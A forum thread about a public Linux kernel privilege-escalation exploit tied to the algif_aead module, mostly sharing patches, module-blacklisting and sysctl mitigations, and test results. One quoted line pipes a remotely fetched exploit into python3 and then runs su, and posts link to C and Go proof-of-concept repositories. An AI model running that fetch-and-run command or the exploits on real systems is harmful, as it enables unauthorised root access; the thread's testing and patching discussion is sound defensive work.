Public exploit on most Linux distro’s - patching recommended

rpqu · May 3

@BackboneDirect said:
Rebootless method for patching via eBPF

https://github.com/wgnet/wg.copyfail.patch

sudo apt install -y clang libbpf-dev linux-bpf-dev git
git clone https://github.com/wgnet/wg.copyfail.patch
cd wg.copyfail.patch
sudo bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h
sudo ./build.sh build
./apply.sh load

oloke · May 3

@amarc said:
From what I gathered if that kernel module is not loaded/available it's not exploitable ? Because on my couple servers Deb12 , Deb13, Ubuntu 24.04 systems these are not loaded and when I run curl https://copy.fail/exp | python3 && su nothing really happens and all I get is some:
Traceback (most recent call last):
  File "<stdin>", line 9, in <module>
  File "<stdin>", line 5, in c
FileNotFoundError: [Errno 2] No such file or directory

Yes exactly, this output means it is not exploitable (since algif_aead module is not present).

emperor · May 3

@amarc said: if that kernel module is not loaded/available it's not exploitable

Yes this, and also python should be 3.10+ . It wont work on lower versions. In Rhel 8 family and Slackware python was +/- 3.9.25 thats why it was not working.

zed · May 3

hey let me rawdog this exploit poc on my servers

eliphas · May 3

https://github.com/tgies/copy-fail-c
no python needed, static binary that you can cross compile. uses some suid binary or change passwd to impersonate some other 4-digit user. scary.

tuc · May 3

Me the only user on all my VPS servers.

wii747 · May 3

@tuc said:
Me the only user on all my VPS servers.

I am root on all my servers.

tuc · May 3

@eliphas said:
https://github.com/tgies/copy-fail-c
no python needed, static binary that you can cross compile. uses some suid binary or change passwd to impersonate some other 4-digit user. scary.

It does work, and it is available in go too (https://github.com/badsectorlabs/copyfail-go)

If regular users have no access to c dev. environment, they can just go golang.

tuc · May 3

My temporary "patch" is to follow the instructions at https://mondoo.com/vulnerability-intelligence/vulnerability/MONDOO-CVE-2026-31431, to disable algif_aead module.

non-root user

./vulnerable
content of testfile fd=3 ---
init
---
[+] target:    testfile
[+] payload:   10 bytes (3 iterations)
[+] patch fd=3 off=0 bytes="vuln"
[+] patch ok
[+] patch fd=3 off=4 bytes="erab"
[+] patch ok
[+] patch fd=3 off=8 bytes="le"
[+] patch ok
[+] page cache mutated
content of testfile fd=3 ---
vulnerable
---
[!] VULNERABLE

root user

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null

non-root user

 ./vulnerable
content of testfile fd=3 ---
init
---
[+] target:    testfile
[+] payload:   10 bytes (3 iterations)
[+] patch fd=3 off=0 bytes="vuln"
bind(AF_ALG: authencesn(hmac(sha256),cbc(aes))): No such file or directory
[-] patch_chunk failed at offset 0

amarc · May 3

So it is scary but not that scary. It's not "every linux kernel since 2007" it's more like "every kernel with some module that is 50/50 not even there and 80% of people do not need it or even know what it is" situation.

gbzret4d · May 4

Running yabs and turn off the vps prevents hacking

rpqu · May 4

@gbzret4d said:
Running yabs and turn off the vps prevents hacking

Can't get hacked if OOM

PacketraOliver · May 5

Even though it's based on a non-root user escalating the privilege, we were quick at closing this just in case, and apply kernel patches where applicable.

spuyet · May 5

I've built a free packages scanner so you can check how bad your server is with vulnerabilities: https://fivenines.io/tools/linux-package-vulnerability-scanner

forest · May 6

@amarc said:
So it is scary but not that scary. It's not "every linux kernel since 2007" it's more like "every kernel with some module that is 50/50 not even there and 80% of people do not need it or even know what it is" situation.

Well, it's there on Debian, Ubuntu, RHEL, and RHEL clones by default.

rdes · May 6

Not in RHEL7 (and clones), and it's distribution from 2014.

forest · May 11

One simple way to protect against this and similar vulnerabilities is just to disable module autoloading:

echo "kernel.modprobe = " > /etc/sysctl.d/no-module-autoloading.conf
sysctl -p /etc/sysctl.d/no-module-autoloading.conf

Unlike kernel.modules_disabled = 1, this can be reverted by root and doesn't block manual module loading or unloading. All it does is prevent unprivileged processes from triggering module loading by requesting some obscure functionality from the kernel like a rare socket family.

vbloods · May 12

Updated ...

jorohe6515 · May 17

Am I the only one who think Ubuntu sucks in security nowadays?
Debian took a day to release a new kernel patching dirty frag, and still nothing from Ubuntu. Not in 24.04, nothing in 26.04. Waiting for a week now, that is not good.

emperor · May 17

New updates are available for debian.

forest · May 17

@jorohe6515 said: Am I the only one who think Ubuntu sucks in security nowadays?

It's usually the opposite. Ubuntu promptly releases fixes for even minor security issues while Debian only does emergency releases for major issues. Ubuntu also uses more compile-time hardening than Debian.

OhJohn · May 17

@jorohe6515 said: Am I the only one who think Ubuntu sucks in security nowadays?

Nope, you are not.

And this 404 is also not good: https://ubuntu.com/security/CVE-2026-46333 (Sunday, 22:20 UTC)

OhJohn · May 17

A three week security cycle on kernel builds just does not help if you get a potential zero day every friday...

Howdy, Stranger!

Categories

In this Discussion

Public exploit on most Linux distro’s - patching recommended

Comments

Howdy, Stranger!

Quick Links

Categories

In this Discussion

Public exploit on most Linux distro’s - patching recommended

Comments